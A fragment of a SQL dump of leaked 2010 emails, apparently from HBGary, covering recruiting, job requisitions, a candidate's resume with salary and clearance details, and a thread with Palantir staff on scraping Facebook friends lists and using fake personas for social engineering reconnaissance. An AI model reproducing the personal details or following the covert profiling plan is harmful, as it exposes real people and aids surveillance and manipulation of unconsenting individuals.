PHP, UNIX shell scripting.&nbsp;WORK EXPERIENCE&nbsp;Security Analyst / Penetration Tester&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2009&nbsp;– PresentTechguard Security&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Linthicum, Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Performed network and Web application ethical hacking&nbsp;assessments.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Developed custom Perl scripts to help automate password&nbsp;scanning.	• Performed&nbsp;mentoring duties for both military and contractor junior employees.&nbsp;Senior Systems Network Security Engineer&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2008 – 2009SAIC - Goddard Space Flight Center&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Greenbelt,&nbsp;Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Developed and implemented Perl and UNIX shell scripts&nbsp;to reduce log analysis time by 50%.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Investigated, researched, and documented malware and&nbsp;intrusion attempts discovered via the Snort IDS BASE interface as well as from&nbsp;custom scripts.	• Seized hard&nbsp;disks and performed volatile data captures according to NASA/GSFC incident&nbsp;response procedures.&nbsp;Global Vulnerability and Threat&nbsp;Analyst&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2007 – 2008Department of Defense – National Security Agency&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Fort&nbsp;Meade, Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Successfully completed intensive three month Analyst&nbsp;training course.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Configured production Perl scripts to complete&nbsp;organizational goals.&nbsp;Senior Global Network Threat&nbsp;Analyst&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2004 – 2007Eagle Alliance – National Security Agency&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Fort&nbsp;Meade, Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Customize and implement IDS signatures to reflect&nbsp;dynamic organizational needs.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Developed a Perl script to summarize IDS alerts,&nbsp;reducing alert file analysis by 80%.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Reduced spyware/malicious HTTP activity by 50% via raw&nbsp;network traffic analysis.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Identified numerous vulnerable network printers via a&nbsp;custom Perl port scanner.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Implement secure configuration options for Red Hat&nbsp;Enterprise Linux servers.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Configured Windows 2003 Advanced Server via Microsoft’s&nbsp;2003 Server Security Guide in both a lab and production environment.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Test Microsoft 2000/XP builds for compatibility with&nbsp;network monitoring tools.&nbsp;Systems Administrator&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2000&nbsp;– 2004Computer Sciences&nbsp;Corporation – Goddard Space Flight Center&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Greenbelt,&nbsp;Maryland	• Increased server&nbsp;performance by upgrading 10 Windows NT PDCs/BDCs to Windows 2000 Servers&nbsp;w/Active Directory.&nbsp;&nbsp;Ensured&nbsp;minimal migration downtime.	• Configured and&nbsp;administered Windows 2000 IIS and Exchange servers.	• Recorded and stored&nbsp;security log auditing of workstations and servers.	• Developed system security&nbsp;plan according to DCID 6/3 policies.	• Created project’s TS/SCI&nbsp;Web presence.&nbsp;&nbsp;Included custom&nbsp;graphic design and HTML.&nbsp;IT Coordinator/Helpdesk&nbsp;Technician&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;2000NSNL, Inc. - Abt Associates&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Bethesda,&nbsp;Maryland	• Aided over 300 users with&nbsp;various Windows 98/NT software/hardware issues.&nbsp;	• Replaced over 50 aging&nbsp;Windows PC’s via commercial ghosting software.Network Administrator&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1999 – 2000A.I. Solutions, Inc.&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Lanham,&nbsp;Maryland	• Administered&nbsp;30 Windows NT and Red Hat Linux workstations and servers.&nbsp;&nbsp;Included software installation and&nbsp;hardware upgrades.	• Reduced&nbsp;external E-mail hosting costs by implementing an in-house Red Hat Linux&nbsp;E-mail server.	• Investigated&nbsp;Red Hat Linux gateway logs regarding possible intrusions.	• Updated&nbsp;over 30 Windows NT workstations to meet Y2K requirements.&nbsp;Computer&nbsp;Specialist/PC Technician&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;1991&nbsp;– 1999Department&nbsp;of Justice – Federal Bureau of Investigation&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Washington,&nbsp;D. C.	• Supported&nbsp;24/7 Top Secret command center of over 300 clients via software and&nbsp;hardware troubleshooting and installation.	• Created&nbsp;and implemented unattended installation CDs for over 100 Windows NT&nbsp;workstations.EDUCATION/TRAINING/CERTIFICATIONSTechnical Certifications and Degrees	• GPEN - GIAC Penetration&nbsp;Tester, March 2010	• CEH – Certified Ethical&nbsp;Hacker, May 2008	• CISSP – Certified&nbsp;Information Systems Security Professional #85592, September, 2006	• DCITP – Certified Basic&nbsp;Digital Investigator, May, 2006	• MCP – Windows XP&nbsp;Professional, December, 2005	• Bachelor of Science –&nbsp;Business Management/Information Systems – University of Maryland&nbsp;University College – Adelphi, Maryland, December, 2002	• CCNA – Cisco Certified&nbsp;Network Associate, August, 2001	• MCSE – Microsoft&nbsp;Certified Systems Engineer NT 4.0, August, 1999&nbsp;Other Professional Training	• Department of Defense Computer Investigations Training&nbsp;Program,&nbsp;including:Introduction to&nbsp;Networks and Computer Hardware, Incident Responders Course,Windows Forensic&nbsp;Examinations, Forensics and Intrusions in a Solaris Environment,Forensics and&nbsp;Intrusions in a Linux Environment, EnCase 4 Examinations, Wireless Technology	• SourceFire&nbsp;Network Security Training,&nbsp;including:Snort: Building and&nbsp;Operating a Snort IDS, Snort: Snort Rules	• Guidance&nbsp;Software,&nbsp;Advanced EnCase&nbsp;Enterprise\r\n~~~~~~~~~~~~~~~~~~~~~~Ed Wallach&nbsp;President &amp; CEOEd Wallach Search Group 301-365-3291 office&nbsp;&nbsp;301-613-0629 mobile301-365-3292 fax&nbsp;ed@wallachsearch.comwww.wallachsearch.comRecruiting Intelligence &lt;app_full_proxy.php.gif&gt;\r\n\r\n',7789,'aaron_hbgary_com/7789.html'),(11066,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008482.M448008P14101Q5921.eml','\"Daniel Collender\" <dcollend@digitalglobe.com>','Re: Quick Question','Hi Dan,Souring our contacts right now, we should be able to get back to you on this shortly.AaronOn Aug 30, 2010, at 7:01 PM, Daniel Collender wrote:Hi Aaron,&nbsp;I still owe you a response regarding the training options we would like to pursue.&nbsp;However, I was curious if you had&nbsp; a chance to think about my resource request for a senior Windows Security Architect for a special project here at DigitalGlobe.&nbsp;Do you have any contacts/friends/peers who have USG experience and might be suitable?&nbsp;Thanks!&nbsp;Dan',3521,'aaron_hbgary_com/3521.html'),(11067,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008482.M694799P14101Q5922.eml','\"Aaron Zollman\" <azollman@palantir.com>,\"Aaron Zollman\" <azollman@palantir.com>,,','Re: Another Killer Demo','I get it on the breakout sessions.  We would like to pursue the path to breakout with fingerprint data.  That hasn\'t changed.\r\n\r\nSo here is the dynamic I am working with right now.\r\n\r\nWe have separate customers interested in our ability to do volume malware processing and threat intelligence (this is TMC, Fingerprint, and Palanatir).\r\n\r\nWe have other customers, mostly on offense, that are interested in Social Media for other things.\r\n\r\nIn the end both of these capabilities come together to build real threat intelligence marrying up malware data with social media data, just baby steps.\r\n\r\nThe social media stuff seems like low hanging fruit, so lets have a phone conversation on that on Thursday to discuss what are the next steps and when.\r\n\r\nOn the threat intelligence side we have some prep work to do.  Greg told me that the data that he has is basically not available.  Something about giving the TMC to HBGary Fed and dropping that because it was taking to many development resources and they need to focus.  What does that mean, not a huge deal, but we need to rerun our malware through the TMC and then through fingerprint and then take that data into Palantir.  Right now we are running at max speed the rest of the week to get our Pentest report done and out to the customer by Thursday.  So on Monday next week we can regroup with Mark I think and talk about how to get the threat intel stuff going.  We have a meeting with US-CERT on the 9th and it would be good to be able to tell them a little more than what we have right now, meaning we have a plan to execute.  The stick here is in our hands.  I will reread your last email, head is flooded, and we can readdress this on Thursday as well.\r\n\r\nSound ok?  Good thing is potential customers definitely interested.\r\n\r\nLets do a webex on Thursday instead I can show you a few things I am working on.  I will set it up.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 30, 2010, at 9:18 PM, Aaron Zollman wrote:\r\n\r\n> \r\n> 	For the two breakout spaces, we\'re looking for an integration that\r\n> focuses more on technical data. While I\'d like to talk through this proposed\r\n> workflow some more -- and it\'s certainly appropriate for the demo station\r\n> you guys will have at GovCon -- it may not be right for the breakout\r\n> sessions where Steckman and I have to focus our development energy. But\r\n> let\'s walk down the path a little further before we decide anything:\r\n> \r\n> 	Is the idea that we\'d want to ingest all of Facebook\'s data, or just\r\n> a targeted subset for a few users of interest; possibly using helpers to\r\n> reach out to the API\'s? \r\n> \r\n> 	Pete Warden (petesearch.blogspot.com) ran into some issues with\r\n> their AUP, resulting in a lawsuit, when he crawled most of Facebook\'s social\r\n> graph to build some statistics. I\'d be worried about doing the same. (I\'d\r\n> ask him for his Facebook data -- he\'s a fan of Palantir -- but he\'s already\r\n> deleted it.)\r\n> \r\n> 	Aaron B, I\'m available most of tomorrow and Thursday afternoon if\r\n> you want to build out the workflow a little. The new cyber ontology has an\r\n> \"online account\" type set up by default; we can start by preparing a\r\n> Facebook Account subtype and build outward from there. \r\n> \r\n> 	Phone call good enough, or should we set up shop somewhere with data\r\n> and laptops? \r\n> \r\n> \r\n> _________________________________________________________\r\n> Aaron Zollman\r\n> Palantir Technologies | Embedded Analyst\r\n> azollman@palantir.com | 202-684-8066\r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Monday, August 30, 2010 8:54 AM\r\n> To: Aaron Zollman\r\n> Cc: Matthew Steckman; Ted Vera; Mark Trynor\r\n> Subject: Re: Another Killer Demo\r\n> \r\n> I think you would be demonstrating something completely new from a security\r\n> standpoint.  Twitter requires no authentication.  Follow anyone you want.\r\n> Facebook requires an acknowledgement to be included.  Peoples Facebook\r\n> friends lists are much closer to representing someones actual social circle\r\n> than just another source of information.  This has huge security\r\n> consequences.  My hypothesis is there is an immense amount of information we\r\n> can glean from this information.  I have actually already proven this on a\r\n> small scale doing research manually.  I have been able to determine people\r\n> who are employees of specific companies even though their profile was\r\n> completely blocked, except their friends lists.  I correlated friends lists\r\n> across multiple people who I knew were employees of a particular company to\r\n> determine this.  I also was able to cross this information with Linkedin\r\n> information and determine people that were in subcontracting relationships\r\n> to other companies.  I think all of the facebook information in a Palantir\r\n> framework could result in some of the most significant security revelations\r\n> related to social media yet published.  No more handwaving, but real data to\r\n> show the vulnerabilities.  There is a huge social engineering /targeting\r\n> potential here as well.  If I wanted to target a particular organization\r\n> what groups should I belong to, who are the influencers in the group, who\r\n> has the most connections, etc.\r\n> \r\n> Lets get together to discuss and I can walk you through some of the stuff I\r\n> am doing with persona development and social media exploitation.\r\n> \r\n> Aaron\r\n> On Aug 27, 2010, at 2:43 PM, Aaron Zollman wrote:\r\n> \r\n>> \r\n>> 	It\'d be even easier with the graph APIs...\r\n>> http://graph.facebook.com/ ... JSON parser & an API key and we could knock\r\n>> it out pretty quick. (Someone else\'s facebook account, please, though!)\r\n>> \r\n>> 	What\'s the workflow we\'d be shooting for, other than as a\r\n>> visualization front-end for an organization\'s structure? \r\n>> \r\n>> \r\n>> \r\n>> 	I think we\'ve done a twitter presentation at Govcon in the past --\r\n>> trying to hunt down the video -- so we wouldn\'t be demonstrating anything\r\n>> new just by expanding it to facebook. But that wasn\'t specifically in a\r\n>> pen-testing/cybersecurity context. An integration with this and some other\r\n>> pen-testing data -- known account identifiers, and data collected from\r\n> them,\r\n>> for example -- might be cool. If we could bring in some malware\r\n> fingerprint \r\n>> data too, and build a whole \"here\'s how we pwned your network\"\r\n>> exploration...\r\n>> \r\n>> 	I\'ve got the OSVDB (vulnerability database integrated), if it\'d be\r\n>> helpful.\r\n>> \r\n>> \r\n>> \r\n>> _________________________________________________________\r\n>> Aaron Zollman\r\n>> Palantir Technologies | Embedded Analyst\r\n>> azollman@palantir.com | 202-684-8066\r\n>> \r\n>> -----Original Message-----\r\n>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>> Sent: Thursday, August 26, 2010 11:43 AM\r\n>> To: Matthew Steckman\r\n>> Cc: Aaron Zollman; Ted Vera; Mark Trynor\r\n>> Subject: Re: Another Killer Demo\r\n>> \r\n>> On the social side here is what I would like to do.  I think between Mark\r\n>> and Aaron this could be put together very quickly and would be powerful.\r\n>> \r\n>> start with a profile in facebook.\r\n>> \r\n>> http://www.facebook.com/profile.php?id=100001092994636\r\n>> \r\n>> View the source of that page.  There is all kinds of information we can\r\n>> collect and parse to build some very robust social maps.\r\n>> Those people that provide information and have their friends lists exposed\r\n>> provide an incredible social engineering and recon tool.\r\n>> \r\n>> Aaron\r\n>> \r\n>> \r\n>> On Aug 26, 2010, at 11:18 AM, Matthew Steckman wrote:\r\n>> \r\n>>> Brandon is a rockstar!!! Good call.\r\n>>> \r\n>>> Let us know if you want help on the demo, sounds like it could be really\r\n>>> interesting.  We\'d probably love to make a video of is as well to put up\r\n>> on\r\n>>> our analysis blog (with HBGary branding of course!).\r\n>>> \r\n>>> Matthew Steckman\r\n>>> Palantir Technologies | Forward Deployed Engineer\r\n>>> msteckman@palantir.com | 202-257-2270\r\n>>> \r\n>>> Follow @palantirtech\r\n>>> Watch youtube.com/palantirtech\r\n>>> Attend Palantir Night Live\r\n>>> \r\n>>> \r\n>>> -----Original Message-----\r\n>>> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n>>> Sent: Wednesday, August 25, 2010 10:36 PM\r\n>>> To: Matthew Steckman\r\n>>> Cc: Aaron Zollman\r\n>>> Subject: Another Killer Demo\r\n>>> \r\n>>> Matt,\r\n>>> \r\n>>> I have been doing talks on social media, have a lot more scheduled, along\r\n>>> with some training gigs.  In the process I am setting up a lot of\r\n> personas\r\n>>> and doing social media pen testing against organizations.\r\n>>> \r\n>>> What I have found is there is an immense amount of information peoples\r\n>>> friends lists as well as other social media digital artifacts can tell\r\n> us.\r\n>>> I think Palantir would be an awesome tool to present and use for\r\n> analysis.\r\n>>> We are just going to have to get someone to write a helper app.  I am\r\n>> hoping\r\n>>> to be able to hire Brandon Colston soon.\r\n>>> \r\n>>> Aaron\r\n>> \r\n> \r\n\r\n',10782,'aaron_hbgary_com/10782.html'),(11068,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008483.M322880P14101Q5924.eml','\"Raleigh Warner\" <fotoman@tropicalwarners.com>','TASC Positions','Hey Raleigh,I just wanted to make you aware of some positions that have opened up on the TASC website.118583 Web S/W Developer 5118580 Web S/W Developer 4118573 Web S/W Developer 3118584 Systems Admin 4118586 Graphics Artist 5118587 Graphics Artist 4If you want to talk about these opportunities and the group that put these out let me know.Have a good one.Aaron',11769,'aaron_hbgary_com/11769.html'),(11069,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008483.M5155P14101Q5923.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: ROMAS Reqs','Thanks will do.On Aug 30, 2010, at 9:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\nHi Aaron,\r\n\r\nThe reqs we discussed are open.&nbsp; Then numbers are&nbsp; as follows:\r\n\r\n118583 Web S/W Developer 5\r\n118580 Web S/W Developer 4\r\n118573 Web S/W Developer 3\r\n118584 Systems Admin 4\r\n118586 Graphics Artist 5\r\n118587 Graphics Artist 4\r\n\r\nPlease pass these onto any folks you think are good matches for ROMAS.&nbsp;\r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n\r\n',2579,'aaron_hbgary_com/2579.html'),(11070,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008483.M682780P14101Q5925.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: ROMAS Reqs','Chris,I spoke with John today. &nbsp;RFP is still ready to come out very soon. &nbsp;I mentioned there is only one day left in August and he just smiled at me. :)I will send out the reqs.AaronOn Aug 30, 2010, at 9:39 PM, Clair, Chris (TASC) wrote:118583 Web S/W Developer 5118580 Web S/W Developer 4118573 Web S/W Developer 3118584 Systems Admin 4118586 Graphics Artist 5118587 Graphics Artist 4',4044,'aaron_hbgary_com/4044.html'),(11071,'2010-08-31','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297008483.M955060P14101Q5926.eml','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','Re: ROMAS Reqs','Reqs don\'t work.On Aug 30, 2010, at 9:39 PM, Clair, Chris (TASC) wrote:\r\n\r\n\r\nHi Aaron,\r\n\r\nThe reqs we discussed are open.&nbsp; Then numbers are&nbsp; as follows:\r\n\r\n118583 Web S/W Developer 5\r\n118580 Web S/W Developer 4\r\n118573 Web S/W Developer 3\r\n118584 Systems Admin 4\r\n118586 Graphics Artist 5\r\n118587 Graphics Artist 4\r\n\r\nPlease pass these onto any folks you think are good matches for ROMAS.&nbsp;\r\n\r\nThanks,\r\n\r\nChris \r\n\r\n\r\n\r\n',14040,'aaron_hbgary_com/14040.html'),(11072,'2010-08-31','\"Garcia, Kathy (TASC)\" <KATHERINE.GARCIA@tasc.com>','/aaron@hbgary.com/new/1297008484.M264014P14101Q5927.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','RE: ROMAS Reqs','\r\n\r\n\r\n\r\n\r\nThanks Aaron!\r\n&nbsp;\r\nChris is on vacation this week, pretty clever huh?&nbsp; Just KIDDING Chris!\r\n&nbsp;\r\nLooking forward to seeing this thing drop!\r\n&nbsp;\r\n~Kathy\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com]Sent: Mon 8/30/2010 10:41 PMTo: Clair, Chris (TASC)Cc: Garcia, Kathy (TASC)Subject: Re: ROMAS Reqs\r\nChris, \r\n\r\nI spoke with John today. &nbsp;RFP is still ready to come out very soon. &nbsp;I mentioned there is only one day left in August and he just smiled at me. :)\r\n\r\nI will send out the reqs.\r\n\r\nAaron\r\n\r\n\r\nOn Aug 30, 2010, at 9:39 PM, Clair, Chris (TASC) wrote:\r\n118583 Web S/W Developer 5118580 Web S/W Developer 4118573 Web S/W Developer 3118584 Systems Admin 4118586 Graphics Artist 5118587 Graphics Artist 4',1693,'aaron_hbgary_com/1693.html'),(11073,'2010-08-31','\"Ed Wallach\" <ed@wallachsearch.com>','/aaron@hbgary.com/new/1297008484.M611491P14101Q5928.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: candidate D.A.','Thanks Aaron,I got it.I\'m already looking for Reverse Engineers and will send over what I find. Plz &nbsp;let me know if any I previously sent over were worth speaking to.&nbsp;I\'ll look for the denver one now.EdOn Aug 30, 2010, at 10:27 PM, Aaron Barr wrote:Hi Ed,Signed agreement is on its way. &nbsp;Here is what I am currently focused on.Reverse Engineers/Malware Analysts - TS/SCI Full Poly (Virginia)Senior Windows Security Architect - TS/SCI Preferred. (Denver/Colorado Springs, CO)I\'ll look over the resume you just sent.Thanks,AaronOn Aug 30, 2010, at 9:14 PM, Ed Wallach wrote:Hi Aaron,Just checking in, I have not seen the signed fee agreement yet.&nbsp;Here\'s one I just recruited-Thx-EdI\'ve attached my current resume. &nbsp;I\'m currently making around $115K/year. &nbsp;At this moment I have a TS/SCI w/ a special access clearance. &nbsp;I was debriefed from NSA May, 2008, so I\'m not sure where I stand with the full-scope poly stuff. &nbsp;I don\'t think it\'s active, but someone said it would be no big deal \"re-activating\" it if necessary.Take care,-D.A.D.A.Lives in MDCurrent Salary $115,000Security Clearance: Current Top Secret/SCI SSBI, Counter Intelligence and Lifestyle Polygraph Debriefed 2008.&nbsp;SUMMARY OF&nbsp;QUALIFICATIONSSkilled&nbsp;professional with over 15 years experience within the fields of network&nbsp;security, intrusion detection, computer forensics, and systems administration.Proven&nbsp;problem-solving skills involving information technology system hardware and&nbsp;software configuration.Over&nbsp;350 hours of training in ethical hacking, computer forensics, intrusion&nbsp;analysis and investigations.Diverse&nbsp;technical skills in numerous disciplines including UNIX and Microsoft operating&nbsp;systems.Possess excellent analytical, organizational, and&nbsp;writing skills.Customer service oriented, excel in high profile,&nbsp;stress-filled environments, a strong team player.Determined, self-motivated, flexible, and excellent&nbsp;problem solving skills.Bachelor of Science in Business Management; Dean’s list&nbsp;for academic achievement.Currently completing prerequisites to begin the Masters&nbsp;program in Computer Science from Johns Hopkins University.PROFESSIONAL SKILLS&nbsp;UNIX/Linux:&nbsp;Experienced&nbsp;with FreeBSD, Red Hat Enterprise Linux, Fedora Linux, Solaris.Microsoft:&nbsp;Experienced&nbsp;with Windows 7, XP, 2000 Pro/Server in a multiple domain controller classified&nbsp;setting, Windows 2003 Advanced Server, Active Directory, File/Web/E-mail&nbsp;services.Software/Applications:&nbsp;Skilled with Microsoft Exchange and IIS servers, Nmap, Nessus&nbsp;vulnerability scanner, Metasploit Framework, Tcpdump, Ethereal, Kismet, EnCase&nbsp;Enterprise forensic analysis tool, Forensic Toolkit (FTK),&nbsp;Snort Intrusion&nbsp;Detection System.Hardware:&nbsp;Skilled&nbsp;with PC servers and workstations.&nbsp;&nbsp;Network wiring, switches, hubs.&nbsp;&nbsp;Repair and custom build workstations and servers.Computer Languages:&nbsp;&nbsp;Working knowledge of&nbsp;Perl, PHP, UNIX shell scripting.&nbsp;WORK EXPERIENCE&nbsp;Security Analyst / Penetration Tester&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;2009&nbsp;– PresentTechguard Security&nbsp;&nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp;Linthicum, Maryland·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Performed network and Web application ethical hacking&nbsp;assessments.·&nbsp;&nbsp; &nbsp; &nbsp;&nbsp;Developed custom Perl scripts to help automate password&nbsp;scanning.	• Performed&nbsp;mentoring duties for both military and contractor 